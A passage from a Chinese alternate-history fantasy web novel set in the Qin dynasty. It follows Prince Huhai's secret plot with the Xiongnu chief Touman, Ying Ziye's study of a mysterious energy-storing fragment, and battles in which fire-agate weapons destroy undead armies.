亲卫一愣:“可是狼族……”
“狼族?”
胡亥嗤笑一声,声音压得极低,如同毒蛇嘶语。
“狼族不过是开胃小菜罢了!”
“真正的叛乱,还没开始呢!”
他猛地勒住马缰,示意队伍暂停!
在确认四周绝对安全后,他对着那名最信任的心腹亲卫,一字一句地下达了密令:
“你立刻派人,以最快速度,秘密联系上头曼!”
亲卫瞳孔一缩:“头曼?那个匈奴单于?他不是……”
“听着!”
胡亥语气森然,“本公子数日前已派人与头曼通过气!”
“现在,你只需携我密令前往,让他集结残部,佯装主力,大张旗鼓地去攻打风吼堡!”
“做出拼死一搏,试图打开东归通道的架势!”
他眼中寒光四射,说出了最关键的部分:“但是,告诉他,佯攻而已!”
“他的真正任务,是趁着所有人的注意力都被风吼堡吸引的时候,率领其真正的精锐主力,从铁石城方向,突围出去!”
亲卫瞬间明白了胡亥的意图,倒吸一口凉气:“铁石城?!”
“公子,您是想……”
“不错!”
胡亥脸上露出了胜券在握的狰狞笑容!
“一旦头曼主力从铁石城意外突围成功,进入北部草原,你猜会怎么样?”
他自问自答,语气充满了煽动性!
“西域那边,乌孙陀罗那个怪物和赢子夜必然正面对上,不死不休!”
“而北疆,因为头曼这支流窜的匈奴主力存在,将再度陷入动荡和战乱!”
他仿佛已经看到了那美妙的场景,声音带着一丝兴奋的颤抖。
“到了那时,北疆、西域同时告急,父皇还能强行召我回咸阳吗?”
“朝堂之上,还有谁能比本公子更了解这里的局势?”
“还有谁,比本公子更适合临危受命,留在此地平定叛乱?”
这一招,堪称毒辣!
不仅利用了头曼这支残兵。
更是将整个北疆和西域都拖下水,制造出持续动荡的局面。
从而,为他胡亥继续滞留边疆,掌握兵权创造最合理的借口!
那亲卫被这庞大的阴谋震撼得心神激荡!
但随即,也**亥描绘的前景所吸引,眼中冒出狂热的光芒。
他重重抱拳,声音因激动而颤抖:
“殿下神机妙算!末将……末将明白了!这就去安排!”
“定将密令准确传达给头曼!”
“去吧!记住,绝对保密!”
胡亥挥挥手,看着亲卫调转马头,带着几人如同鬼魅般融入夜色,向着受降城疾驰而去。
“六哥……父皇……这北疆的棋局,还没到终盘呢!”
“想让我胡亥就这么认输?做梦!”
第441章 我,胡亥,绝不认输!
北地郡城外。
秦军大营,中军帐内。
烛火摇曳,映照着赢子夜沉静却隐含锐利的侧脸。
少司命静立一旁,清冷的嗓音打破了帐内的沉寂:“胡亥今日在阵前,分明是**灭口。”
“那狼族首领若活着,必能撬开他的嘴,指证胡亥。”
赢子夜指尖轻轻敲击着桌面,发出规律的笃笃声。
他目光幽深,缓缓道:“为夫自然清楚。”
“他那一剑,又快又狠,毫不拖泥带水,绝非什么‘情急之下’。”
“只是……人已死,证据链便断了。”
“仅凭推测,难以定一位公子的大罪。”
他语气中带着一丝不易察觉的冷意!
胡亥这一手,确实够狠,也够果断,直接将最关键的证人扼杀,让他暂时无法发难。
就在这时,帐外传来亲兵急促的禀报声!
“殿下!丞相李斯大人携陛下旨意,已至营外!”
赢子夜眼中闪过一丝讶异,随即恢复平静:“快请!”
帐帘掀开,风尘仆仆却依旧保持着丞相威仪的李斯快步走入。
他先是向赢子夜郑重行礼:“老臣李斯,参见殿下。”
“丞相不必多礼,一路辛苦。”
赢子夜虚扶一下,目光落在李斯手中那卷明黄色的绢帛上。
李斯直起身,双手捧起圣旨,神色肃穆:“殿下,陛下有旨意下达。”
他当众宣读了始皇帝命令胡亥交出兵权,由王贲接管北疆各城的明旨。
宣旨完毕,李斯上前一步,声音压低,仅限赢子夜和近处的少司命可闻!
“殿下,陛下还有一句嘱托……”
他顿了顿,语气带着一丝深意。
“……除非必要,否则,留胡亥一命。”
赢子夜闻言,眼神微动。
但脸上并未露出太多意外之色。
他微微颔首:“父皇的苦心,子夜明白。”
他理解父皇的复杂心情。
既要维护帝国法度与稳定,又不愿轻易看到骨肉相残。
“既如此,便有劳丞相随本公子一同入城宣旨吧。”
赢子夜起身道。
“老臣遵命。”
一行人很快便来到了北地郡城下。
城头火把通明,得到消息的胡亥早已出城等候。
李斯上前,再次高声宣读了始皇帝的旨意。
胡亥在听到旨意的刹那,眼中确实闪过了一抹极快的惊讶。
似乎没料到,李斯会来得如此之快,旨意会如此明确。
但这抹惊讶转瞬即逝。
他脸上迅速恢复了平静,甚至带着一丝恰到好处的恭顺。
他缓缓跪倒,拱手道:“儿臣胡亥,领旨!”
“谢父皇隆恩!父皇万岁,万岁,万万岁!”
他站起身,对着赢子夜和李斯,语气诚恳地说道:“请丞相回禀父皇,北疆**,赖父皇天威,及六哥与诸位将士奋勇,如今已基本平定。”
“胡亥定当遵从父皇旨意,逐一与王贲将军完成各城池交接事宜,绝无延误!”
他话锋一转,又补充道:“只是……丞相也知晓,北疆初定,西域战事未休,诸多事宜千头万绪,城池交接亦需厘清账目,安抚军民,非一日之功。”
“且北疆、西域广阔,仍需兵马驻守,以防范未然。”
他对着咸阳方向遥遥一拜,语气带着恳切的请求!
“胡亥恳请丞相代为转奏父皇,允准胡亥暂留北疆,协助王贲将军处理后续事宜,稳定边疆!”
“待诸事皆毕,胡亥自当返回咸阳,向父皇复命!”
李斯闻言,沉吟片刻,点了点头:“公子之心,老臣知晓。”
“此事,老臣定会如实奏禀陛下,由陛下圣裁。”
胡亥脸上露出感激之色:“多谢丞相!”
他随即看向赢子夜,主动请缨道:“六哥,如今北地郡已接旨,然周边数城,尚且不知狼族叛逆已被平定,更不知父皇旨意已下。”
“臣弟担心,若贸然派使者前往,城中守将或因不明情况,或因仍担心有细作混入,恐难以顺利打开城门交接。”
他拱手,语气郑重:“臣弟**,愿亲自前往这几座城池,代为传达父皇旨意与六哥军令,并向守将说明情况,以确保交接顺利,避免不必要的误会与冲突!”
“请六哥允准!”
赢子夜看着那一脸坦荡与尽责的胡亥,目光深邃。
片刻后,缓缓颔首:“可。”
“十八弟有心了,便依你所言。”
“臣弟领命!定不辱使命!”
胡亥再次躬身,随即干脆利落地翻身上马,在亲卫的簇拥下准备出发。
看着胡亥离去的背影,李斯也告辞返回驿馆,准备书写奏章。
返回帐内。
少司命蹙眉看向赢子夜。
“他答应得如此爽快,甚至主动要求去传达旨意……”
“我总觉得有些不安。”
“他会不会借此机会,去了其他城池后,便反悔,拥城自重,拒绝交接?”
赢子夜缓缓摇头,目光依旧望着胡亥消失的方向,语气带着一丝审慎的分析。
“反悔?直接抗旨不尊?可能性不大。”
“若他真有此心,这北地郡他大可不必交接,直接紧闭城门,不认这道旨意便是,我们难道还能立刻强攻不成?”
他顿了顿,眼中闪过一丝疑虑:“只是……他心中究竟打着什么算盘,暂时还猜不透。”
“如此干脆地交出北地郡,又主动去帮我稳定经营已久的其他城池……”
“这不像他胡亥的作风。”
“他定然另有图谋,只是这图谋……藏得更深了。”
……
而与此同时。
胡亥率领着一支数百人的亲卫骑兵,沉默地行进在通往受降城的官道上。
夜色浓重,马蹄声在寂静的原野上显得格外清晰。
一名心腹亲卫策马靠近胡亥。
脸上带着难以掩饰的忧虑和不甘。
压低声音道:“公子,我们就这么…把北地郡交出去了?”
“那可是我们好不容易才……”
胡亥猛地一挥手,打断了他的话。
脸色在夜色中显得阴鸷无比。
他冷哼一声:“不交?不交就是在明着告诉父皇和赢子夜,我胡亥要造、反!”
“你有几个脑袋够砍的?”
他语气中充满了憋屈与戾气:“只是没想到,李斯这条老狗,还有父皇的旨意,来得这么快!”
“打乱了本公子不少安排!”
那亲卫缩了缩脖子,依旧担忧道:“殿下,那……那我们现在怎么办?”
“北疆这边的狼族之乱已经平定,西域那边看样子六殿下也掌控
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“前功尽弃?”
胡亥仿佛听到了什么天大的笑话,嘴角咧开一个冰冷而残酷的弧度,眼中闪烁着疯狂。
“谁告诉你北疆已经平定了?”
亲卫一愣:“可是狼族……”
“狼族?”
胡亥嗤笑一声,声音压得极低,如同毒蛇嘶语。
“狼族不过是开胃小菜罢了!”
“真正的叛乱,还没开始呢!”
他猛地勒住马缰,示意队伍暂停!
在确认四周绝对安全后,他对着那名最信任的心腹亲卫,一字一句地下达了密令:
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亲卫瞳孔一缩:“头曼?那个匈奴单于?他不是……”
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他仿佛已经看到了那美妙的场景,声音带着一丝兴奋的颤抖。
“到了那时,北疆、西域同时告急,父皇还能强行召我回咸阳吗?”
“朝堂之上,还有谁能比本公子更了解这里的局势?”
“还有谁,比本公子更适合临危受命,留在此地平定叛乱?”
这一招,堪称毒辣!
不仅利用了头曼这支残兵。
更是将整个北疆和西域都拖下水,制造出持续动荡的局面。
从而,为他胡亥继续滞留边疆,掌握兵权创造最合理的借口!
那亲卫被这庞大的阴谋震撼得心神激荡!
但随即,也**亥描绘的前景所吸引,眼中冒出狂热的光芒。
他重重抱拳,声音因激动而颤抖:
“殿下神机妙算!末将……末将明白了!这就去安排!”
“定将密令准确传达给头曼!”
“去吧!记住,绝对保密!”
胡亥挥挥手,看着亲卫调转马头,带着几人如同鬼魅般融入夜色,向着受降城疾驰而去。
“六哥……父皇……这北疆的棋局,还没到终盘呢!”
“想让我胡亥就这么认输?做梦!”
第442章 此物,难道是器皿?!
是夜。
北地郡城。
将军府内,灯火通明。
一名风尘仆仆的暗河成员,将一个用特殊金属和丝绸层层包裹的盒子,恭敬地呈到赢子夜面前。
盒盖开启。
一块约莫巴掌大小,形状不规则,通体呈现暗金色,表面布满天然玄奥纹路的碎片,静静地躺在柔软的衬垫之上。
赢子夜小心地将碎片取出,置于掌心。
碎片触手温润。
并非金属的冰凉,反而带着一种玉石般的质感。
他凝神感应。
果然如卫庄传回的消息所述。
能清晰地察觉到碎片内部蕴藏着一股极其磅礴,精纯且古老的灵气。
如同沉睡的海洋,浩瀚无垠!
然而,无论他如何尝试用自身真气去引导沟通,那股灵气都如同被无形的壁垒封锁,岿然不动,根本无法调用分毫。
“果然如此……”
赢子夜眉头微蹙。
指尖轻轻拂过碎片上那些复杂的纹路。
眼中露出思索之色。
“灵气充盈却无法引动,仿佛缺少了关键的钥匙。”
“难道……真如我所料,需要将类似的碎片全部集齐,才能解开其中的奥秘,调用这庞大的能量?”
他仔细端详着碎片的边缘和弧度,沉吟道:“看这形状和材质,倒不像是兵刃或饰物,更像是一种……器皿的碎片?”
“只是,究竟是何等器皿,仅仅一块碎片便能蕴含如此惊人的能量?”
就在赢子夜凝神分析之际。
一直静立在一旁的少司命,清冷的眸光也被那暗金碎片所吸引。
她缓步上前,伸出如玉的纤手,轻声道:“夫君,让我看看。”
赢子夜将碎片递给她。
少司命接过碎片。
那碎片入手瞬间,她纤细的指尖几不可察地微微颤动了一下!
她那双如同古井般平静的眼眸中,闪过一丝极淡的讶异!
她没有像赢子夜那样试图用霸道的内力去冲击。
而是缓缓闭上双眼,周身开始萦绕起一层淡薄而充满生机的碧绿色光华——
正是精纯的阴阳家木属性灵力!
她将这股温和而充满灵性的力量,如同涓涓细流般,小心翼翼地探向掌心的碎片。
起初,碎片依旧毫无反应。
但少司命并未放弃。
她调整着自身灵力的频率,仿佛在寻找着某种与之契合的波动。
突然!
那一直沉寂的暗金碎片,表面的玄奥纹路竟骤然亮起了微弱而同样呈碧绿色的光芒!
虽然只是一闪而逝。
但赢子夜清晰地感知到!
一股精纯至极,远超寻常天地灵气的能量,被少司命从那碎片中短暂地牵引了出来!
如同一条纤细的绿色光丝,缠绕在她的指尖!
然而。
这光丝仅仅存在了不到一息的时间,便如同无根之萍般,迅速溃散,重新融入了碎片之中。
碎片也恢复了之前的暗沉。
仿佛刚才的一切只是幻觉。
但赢子夜和少司命都知道,那不是幻觉!
“夫人!你……”
赢子夜眼中难掩惊诧,看向少司命,“你是怎么做到的?”
少司命缓缓睁开双眼,清冷的容颜上也带着一丝困惑与思索。
她看着掌心的碎片,轻声道:“我拿着它的时候,隐隐感觉到它与我修炼的木属性灵力,有着一丝极其微弱的共鸣。”
“我便尝试着,不去强行调动,而是用木属灵力的生机去引导,去‘请求’……”
“没想到,它真的回应了,释放出了一丝能量。”
“虽然只有一丝,而且瞬间便消散了。”
“但那股能量的精纯程度,远超想象!”
“依我看,这碎片本身,或许就拥有自动**,存储天地灵气的神效,就像一个…无比精密的容器。”
“只是不知为何,如今变成了碎片,使得存储其中的能量无法被正常调用。”
赢子夜闻言,眼中恍然之色渐浓。
他接过碎片,再次感受着其中那浩瀚却沉寂的灵气海洋,沉声道:“我明白了。”
“这碎片本身是容器,能吸纳存储灵气。”
“但想要真正使用其中力量,恐怕需要特定的方法,或者……”
“如我猜测,必须将完整的‘器皿’复原。”
他目光灼灼地看着碎片:“**天地灵气……”
“若真能将其复原,其功效恐怕惊天动地!”
“只是不知,这究竟是何种器皿,又散落成了多少碎片,流落何方……”
这偶然的发现,虽然未能立刻解开碎片之谜,却指出了一个明确的方向——
集齐碎片,复原器皿!
这无疑为赢子夜探寻西域遗迹的秘密,提供了新的思路。
恰逢此时。
一名斥候携着西域急报,风尘仆仆地冲入府内!
“报——!殿下!”
“西域蒙犽将军急报!”
“匈奴头曼残部,已放弃与西域联军及大月氏正面纠缠,正全力向西北方向撤离,意图不明
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!”
“大月氏乌孙陀罗则趁势将主力压上,兵锋直指匈奴,似欲趁其撤离之际,给予致命一击!”
赢子夜放下手中碎片,眼中锐光一闪。
他快步走到西域沙盘前。
手指沿着头曼撤离的西北方向划过。
最终落在那片标志着连绵天堑山脉的区域!
“向西北撤离……果然如此。”
赢子夜嘴角勾起一抹冰冷的了然,“头曼这是走投无路,想要翻越天堑,去投效西边的安息帝国了。”
他手指重重地点在天堑山脉上,语气带着一丝审慎!
“不过,这天堑岂是那么容易翻越的?”
“山高路险,猛兽毒瘴遍布,他这支残军想要过去,不死也要脱层皮!”
他的目光,随即转向代表大月氏兵力的标记。
眼中闪过一丝计算。
“乌孙陀罗想捡便宜,趁头曼撤离时咬下一块肉?”
“胃口倒是不小。”
随即,他想到石堡城那边的进度,心中一定。
转头对侍立一旁的赵弋苍沉声问道:“石堡城那边,公输仇的火雨玛瑙兵器,进度如何?”
“算算时日,应该差不多了吧?”
赵弋苍立刻回禀:“回主上,一个时辰前刚接到传讯,最后一批特制箭簇已淬火完成,所有兵器皆已打造完毕,正在装箱,随时可以运往前线!”
“善!”
赢子夜眼中精光爆射,不再有丝毫犹豫,斩钉截铁地下令:
“传令蒙犽!”
“火雨玛瑙兵器即刻起运,送往西域前线!”
“命他接收兵器后,继续固守防线!”
“切记!要防止敌人设伏,避免陷入他们的圈套!”
赢子夜的目光再次投向沙盘上匈奴撤离的方向,语气笃定:
“待乌孙陀罗发现火雨玛瑙兵器克制他的邪术,必定会愤怒反扑,但见我们坚守,必然会将所有的怒火和剩余的力气,都发泄在正在仓皇逃窜的匈奴头上!”
“他会不顾一切,想要先彻底吞掉头曼这支软柿子,以战养战,补充他消耗的生命力!”
“传令蒙犽,固守的同时,想办法将乌孙陀罗这头疯兽,往头曼那边引!”
“诺!”
赵弋苍凛然应命,迅速转身安排传令事宜。
赢子夜负手而立,眺望西域方向。
鹬蚌相争,渔翁得利。
如今,他这把专门克制鹬蚌的“火刀”已然铸成!!
是时候,让这西域之地的两只困兽,斗得更凶,死得更快了!
第443章 赌徒的疯狂!
数日后。
西北边疆,风沙漫卷的铁岩城下。
战云密布,死气冲天!
一名大月氏圣士,周身缭绕着浓郁的灰黑色死气。
空洞的眼窝中鬼火跳跃。
他僵立在一座临时搭建的简陋祭坛上,手中骨杖挥舞,口中发出晦涩难懂的咒文。
在他身后。
是黑压压,一眼望不到尽头的大月氏不死军团!
这些士兵眼神空洞,面容青灰。
动作却异常迅捷。
他们身披残破的皮甲,手持各种锈蚀的兵器,如同潮水般向着铁岩城那饱经战火摧残的城墙涌去!
他们不惧城头射下的普通箭矢。
即便被射中要害,也只是身体晃了晃,便继续前进。
伤口处没有鲜血。
只有丝丝死气逸散。
他们发出无声的咆哮,架起粗糙的云梯,用身体撞击着城门,攻势如同永不停歇的海浪!!
而城头之上!
守城的秦军将士面色凝重,紧握着手中的兵刃。
面对这些打不死的怪物,即便是百战老兵,心中也不免升起一股无力感。
“**手准备!”
守城主将,一位面容坚毅的校尉,看着越来越近的敌军,猛地挥下了手臂!
但他的声音中,带着一丝与往日不同的决然。
这一次,城头**手们搭上的,并非普通的青铜或铁质箭簇。
而是一种通体暗红,箭头仿佛由凝固熔岩打造,表面隐隐有奇异流光闪烁的特制箭矢——
正是以火雨玛瑙为核心锻造的破邪箭!!!
“放!”
一声令下!
“嗡——!”
一片不同于以往的弓弦震鸣响起!
暗红色的箭矢如同流星火雨,划破昏黄的天空。
带着一种灼热而净化的奇异气息,精准地落入不死军团的冲锋队列之中!
接下来的一幕。
让所有守城秦军,包括那名大月氏圣士,都目瞪口呆!
“嗤嗤嗤——!”
当暗红箭矢射中那些不死士兵时,并未像普通箭矢那样被弹开或造成微小创伤。
而是仿佛烧红的烙铁遇到了冰雪!
箭矢接触的瞬间!
不死士兵身上那浓郁的灰黑色死气,竟如同沸水般剧烈翻滚溃散!
发出令人心悸的侵蚀声!
中箭的不死士兵,发出了开战以来第一次凄厉的仿佛源自灵魂深处的惨嚎!!
他们原本刀枪不入的身体,在箭矢命中处迅速变得焦黑、碳化!
并且这种碳化如同瘟疫般向四周急速蔓延!
不过眨眼功夫,被射中的不死士兵便如同被抽走了所有支撑。
化作一具具焦黑的枯骨。
哗啦一声散落在地,再无声息!
一轮齐射,冲锋在最前方的数百不死士兵,如同被无形的镰刀收割,瞬间倒下了一大片!
原本汹涌的攻势,为之一滞!
城头上的秦军将士先是一愣,随即爆发出震天动地的欢呼!
“有用!真的有用!”
“这些怪物怕我们的新箭!”
“杀!杀光这些鬼东西!”
士气瞬间暴涨到了顶点!
那名大月氏圣士空洞的眼窝中,鬼火疯狂跳动。
显露出极大的惊愕与一丝本能的恐惧!
他能感觉到,那些暗红色的箭矢中蕴含的力量,对他掌控的死气有着极强的克制与净化作用!
“继续射击!覆盖抛射!不要停!”
守城校尉抓住战机,厉声嘶吼。
更多的火雨玛瑙箭矢如同死亡之雨,连绵不绝地倾泻而下!
不死军团的阵型被彻底打乱。
成片成片的士兵在凄厉的惨嚎中化为焦炭。
那圣士试图催动更浓郁的死气抵挡。
但在那专门克制的净化之力面前,他的努力显得徒劳无功!
眼看远程打击效果卓著,守城校尉眼中寒光一闪,做出了一个大胆的决定!
“打开城门!”
“刀盾手、**兵,随我出城反击!”
厚重的城门在绞盘声中缓缓打开!
早已等候多时的秦军锐士,如同出闸的猛虎,汹涌而出!!
他们手中的兵刃,无论是战刀、长矛还是盾牌的边缘,都镶嵌着或大或小的火雨玛瑙碎片,闪烁着同样的暗红色光泽!
“为了大秦!杀!”
秦军士兵怒吼着,结成严密的阵型,主动冲向了陷入混乱的不死军团!
这一次,他们的攻击不再无效!
镶嵌着火雨玛瑙的战刀砍在敌人身上,如同热刀切油,轻易撕裂死气防护,留下焦黑的伤口!
长矛刺出,带着净化之力,直接将敌人捅穿、碳化!
战场形势瞬间逆转!
原本悍不畏死,占据绝对优势的不死军团。
在专门克制的神兵面前,变成了待宰的羔羊!
他们试图反抗。
但他们的攻击落在秦军镶嵌了玛瑙碎片的盾牌和甲胄上,效果大打折扣。
而死气侵蚀更是被完全隔绝!
**!
一面倒的**!
那名圣士见势不妙,想要施展邪术遁走。
却被数名手持特制长矛的秦军锐士围住。
长矛上附着的净化之力让他周身死气不断溃散!
最终在绝望的无声嘶吼中,被数根长矛同时刺穿!
化作了一团剧烈燃烧后留下的黑色灰烬!
战斗很快结束。
城外留下了数千具焦黑的不死士兵残骸,以及少量仓皇逃窜的零星敌人。
“快!收集箭矢!一支也不能少!”
守城校尉立刻下令。
秦军士兵们迅速行动起来。
小心地在战场上搜寻那些射出的火雨玛瑙箭矢。
这些特制的箭矢制作不易,材料珍贵。
好在可以重复使用,是未来对抗大月氏邪术的重要依仗!
绝不能浪费!
……
黑石堡。
死气弥漫的王庭深处。
乌孙陀罗枯槁如骷髅的身躯因极致的愤怒而剧烈颤抖着。
周身那灰黑色的死气如同沸腾的墨汁,不受控制地翻腾逸散,将整个大殿映照得如同鬼域!
他手中紧紧攥着一份染血的羊皮战报。
那上面用扭曲的文字记述着铁岩城外的惨败——
一名圣士陨落
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,近三万不死大军在一种诡异的暗红色箭矢下灰飞烟灭!
“废物!都是废物!”
乌孙陀罗发出沙哑刺耳的咆哮!
声音中充满了被忤逆的暴怒和一丝连他自己都不愿承认的惊惧!
他猛地将战报撕得粉碎!
枯爪狠狠拍在由骸骨垒砌的王座扶手上,坚硬的骨头瞬间化为齑粉。
“赢子夜……秦狗!”
“你们竟然……竟然真的找到了克制本王神力的方法!”
他深陷的眼窝中,那两簇鬼火疯狂跳动,内心剧烈波动。
先前两名圣士折损,他虽惊怒,却还存着一丝侥幸,认为可能是对方用了什么一次性的特殊手段。
可如今,对方竟然装备了足以武装军队的克制兵器!
这意味着,他倚仗不死大军横扫西域的优势,已然荡然无存!
甚至,连他自身,面对那专门净化死气的力量,都可能陷入危险。
一股巨大的危机感如同冰水浇头!
让他那被邪力侵蚀的头脑瞬间“清醒”了不少。
依靠现有的力量,别说找秦军和赢子夜复仇,恐怕连自保都成问题!
“不行!绝对不能坐以待毙!”
乌孙陀罗猛地站起身,枯瘦的身躯在王座前焦躁地踱步。
“本王需要更强的力量!”
“更多……更多遗迹中的宝物!”
他的目光变得无比贪婪和炽热,仿佛要将整个西域都吞噬下去。
他想到了赤岩走廊那刚刚现世,却被秦人夺走碎片的遗迹,心中如同被毒蛇啃噬般疼痛和愤怒。
“还有其他的遗迹……必须得到!必须!”
他猛地停下脚步,眼中闪过一丝狠厉决绝的光芒。
不能再犹豫,不能再失败了。
必须趁秦军尚未完全装备那克制兵器,趁自己还有一部分力量之时,强行打开局面!
他转向侍立在一旁,同样死气缭绕的大萨满和仅存的几名将领,声音沙哑却带着不容置疑的疯狂。
“传本王令!”
“第一,集结所有还能调动的兵力,包括那些尚未完全转化的部落仆从军,由‘蚀魂’、‘腐骨’两位圣士统领,给本王继续猛攻头曼那条老狗!”
“不惜代价,以最快的速度,吞掉他!”
“用他和他麾下匈奴人的生命,来补充本王的力量!”
“第二,调集剩余的所有不死精锐,正面强攻蒙恬防线!”
“不计伤亡,不惜一切代价,也要给本王把赤岩走廊的通道撕开!”
他的声音如同九幽寒风,带着破釜沉舟的癫狂。
“赢子夜有克制之法又如何?”
“只要本王能得到更多遗迹宝物,融合更强的力量,区区克制,弹指可破!”
“届时,整个西域都将匍匐在本王脚下!”
“匈奴、秦狗……所有胆敢阻挡本王的,统统都要死!”
“快去!立刻执行!”
“谁敢延误,本王吸干他的魂魄!”
乌孙陀罗如同一个输红了眼的赌徒。
押上了自己最后的筹码。
企图用最疯狂暴烈的方式,杀出一条血路。
第445章 末将**,驰援父亲!
一炷香后。
胡亥的临时府邸内,烛光摇曳。
胡亥独自一人坐在案几前,手中把玩着精致的玉杯,里面猩红的葡萄美酒荡漾着诱人的光泽。
他脸上再无刚才的恭顺与焦虑。
取而代之的是一种毫不掩饰,阴谋得逞的阴冷笑容。
嘴角咧开的弧度,带着令人不寒而栗的得意。
“赢子夜啊赢子夜……”
“你自以为算无遗策,却不知,本公子早已将北疆视作囊中之物!”
他将杯中酒一饮而尽!
感受着那冰凉的液体滑入喉咙,随即化为一股灼热的野心在胸中燃烧。
他放下酒杯,眼中厉色一闪,对着阴影处低声唤道:“来人!”
一名如同鬼魅般的心腹亲卫悄无声息地出现。
胡亥从怀中取出几卷早已准备好的绢帛。
上面清晰地绘制着黑谷仓、风息堡等几座关键城池的详细布防图,守军换防规律,以及周边地形地貌。
他将绢帛递给亲卫,声音冰冷而决绝。
“立刻派人,将此物秘密送至头曼手中!”
“告诉他,这是本公子送他的大礼!”
“让他依图行事,寻找最佳时机,给本公子拿下这几座城,把北疆……彻底搅乱!”
“诺!”
亲卫接过绢帛,身影再次融入黑暗。
胡亥重新为自己斟满酒,看着摇曳的烛火,脸上的笑容愈发狰狞。
“乱吧,乱吧……越乱越好!”
“只有北疆彻底乱了,这‘定乱安邦’的功劳,才显得足够分量!”
……
与此同时。
赤岩走廊,秦军防线。
往日还算稳固的战线,此刻已然化作了血腥的绞肉场!!
天空被灰黑色的死气所笼罩,阳光难以透入。
空气中弥漫着浓烈的腐朽与血腥气味。
数位圣士亲自督战!
他们立于后方一座临时垒起的高台上。
枯爪般的双手不断挥舞,周身死气如同狼烟般冲天而起,催动着前方那无边无际的不死军团,如同黑色的潮水,一波又一波,永无休止地冲击着秦军的阵地!
这些死气鬼兵,眼神空洞,面容青灰。
不惧普通刀剑箭矢。
即便被砍断手脚,只要核心死气未散,依旧能拖着残躯向前爬行,用牙齿撕咬,用头骨撞击!
他们发出的无声嘶吼汇聚成一股令人心神摇曳的精神冲击。
不断侵蚀着守军的精神!
蒙恬矗立在防线中段最关键的磐石隘口,他那条精钢机关左臂在昏暗的光线下反射着冷硬的光泽。
右臂紧握战刀,眼神如同磐石般坚定!
他身边,**着装备了火雨玛瑙兵器的精锐部队!
“**手!瞄准那片死气最浓的区域,覆盖射击!”
蒙恬的声音嘶哑却依旧沉稳。
手持特制**机的士兵们引弦如满月,暗红色的箭矢如同流星般离弦而出!
精准地落入鬼兵最密集的冲锋队列!!
“嗤嗤嗤——!”
净化与侵蚀的异响瞬间连成一片!
被火雨玛瑙箭矢命中的鬼兵,发出了凄厉的惨嚎。
身体迅速碳化、崩解,如同被投入烈火的枯木!!
暗红箭矢所过之处,硬生生在黑色的潮水中犁出了一道道焦黑的真空地带!
“刀盾手,顶上去!”
“**兵,刺!”
蒙恬继续下令。
装备了镶嵌玛瑙碎片盾牌和兵刃的重甲步兵,如同移动的堡垒,悍然迎上冲过箭雨封锁的鬼兵。
战刀劈砍,带着净化之力,轻易撕裂鬼兵的防御!!
长矛突刺,直接将敌人钉在地上,灼烧成灰烬!!
在火雨玛瑙兵器的加持下,这一段的防线暂时稳住了。
甚至还能发起小规模的反冲击!
然而,蒙恬的脸上却没有丝毫轻松!
他目光扫过漫长的防线,心在不断下沉!
火雨玛瑙兵器制作极其不易,材料珍贵。
他手中拥有的数量,根本无法做到全军装备。
只能像现在这样,集中使用在敌人攻势最猛,不死军团最密集的关键节点。
如同在无尽的黑暗潮水中点亮几处孤岛般的火炬。
而防线的其他区域,情况就严峻得多了!
距离磐石隘口约三十里外的“风鸣堡”,守将是一位面容刚毅的校尉。
他看着城外那如同蚂蚁般涌来的不死军团,狠狠啐了一口带血的唾沫。
“妈的,这些鬼东西,真是没完没了!”
他回头看了一眼城头上那些紧张却坚定的士兵。
他们手中的,依旧是普通的青铜戈矛和**箭。
“弓箭手,给老子瞄准了射!”
“专射眼睛、关节!”
校尉厉声吼道,“滚木礌石,省着点用!等他们靠近了再砸!”
密集的箭雨落下,大部分射在鬼兵身上只能留下浅浅的白痕,只有极少数幸运地射中眼眶等脆弱部位,才能让敌人动作一滞。
沉重的滚木和巨石沿着城墙轰然滚落!
将攀爬的鬼兵砸得筋骨断折,但后面的鬼兵立刻踩着同类继续向上攀爬!
城墙之上,惨烈的肉搏战时刻都在发生!
秦军士兵五人一伍,背靠背作战,用战刀劈砍,用长戈推刺。
用身体死死挡住每一个缺口!
不断有士兵被鬼兵那蕴含死气的攻击击中。
伤口迅速发黑溃烂,惨叫着倒下。
但,立刻有新的士兵补上位置!
“守住!都给老子守住!”
“上将军那边有神兵,一定能顶住!”
“我们这里也不能丢!”
校尉挥舞着战刀,亲自砍翻一个刚刚冒头的鬼兵,嘶声力竭地鼓舞着士气。
他们依靠的,是坚固的城墙,是早已布置好的各类守城机关。
巨大的拍杆,不断喷洒热油的锅灶,以及公输家弟子协助布设的能突然弹出利刺的陷阱机关。
还有……
身后家园不容侵犯的决死意志!!!
而同样的情况,也发生在流沙城、赤岩岗等其它没有配备火雨玛瑙兵器的城池
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和据点。
在流沙城,守军利用城外复杂的地形和流沙陷阱,不断迟滞,消耗着鬼兵的进攻。
用弓**远程袭扰。
待其靠近再用长兵器拒止!
战斗异常艰苦。
而在赤岩岗一处地势险要的营垒,守军更是将公输仇留下的机关术发挥到了极致。
自动发射的**炮,地面突然塌陷的陷坑,从墙壁中刺出的钢铁尖刺……
给进攻的鬼兵造成了不小的麻烦。
但鬼兵那不计伤亡,源源不断的攻势,依旧让营垒摇摇欲坠!
整个赤岩走廊防线,就如同一条在狂风巨浪中挣扎的锁链!
几处关键节点因火雨玛瑙而熠熠生辉,死死钉在原地。
但其他大部分链环,却在承受着巨大的压力,不断发出令人牙酸的**,仿佛随时都可能被这死亡的潮水彻底冲垮!
……
通往西域边疆的官道旁。
一座临时军营依地而建。
夜色下,火光跳跃,战旗猎猎。
赢子夜立于营帐前,亲卫们正在整修甲胄,空气中弥漫着铁与尘的味道。
马蹄声骤然传来,疾如雷霆!
只见蒙犽亲率数十精骑纵马而至!
他们身披战铠,甲面满是风尘与血痕!
他翻身下马,快步入营,拱手高声道:“殿下!赤岩走廊急报!”
赢子夜抬手示意左右退下,神情凝重地接过卷宗。
他展开军报,目光迅速扫过,眉头顷刻紧锁!
军报中,详细记载了蒙恬防线承受的巨大压力,以及最新动向。
大月氏主力,已悄然改变进攻方向。
放弃了看似胶着的西北边疆,也就是赤岩走廊一带,转而如同毒蛇般,集中全力扑向东南方向的几处关键隘口!
赢子夜沉默片刻,转身步入营帐。
帐内的沙盘,在灯火下投出斑驳的阴影!
他伸手拨开几枚代表秦军与月氏的木制兵符,目光冷冽如刀。
“避实击虚……乌孙陀罗这是在撕开我东南防线。”
他手指点在几处关键地形上,语气平缓,却暗藏杀机!
“若这条线被破,他便可长驱直入,整合西域诸国。”
“届时,整个西域三十六国,都将落入他掌控!”
“好一个乌孙陀罗。”
“若让他得逞,凭那邪术,不知又能制造出多少不死大军。”
他的手指无意识地敲击着沙盘边缘,眼中闪过一丝更深沉的疑虑。
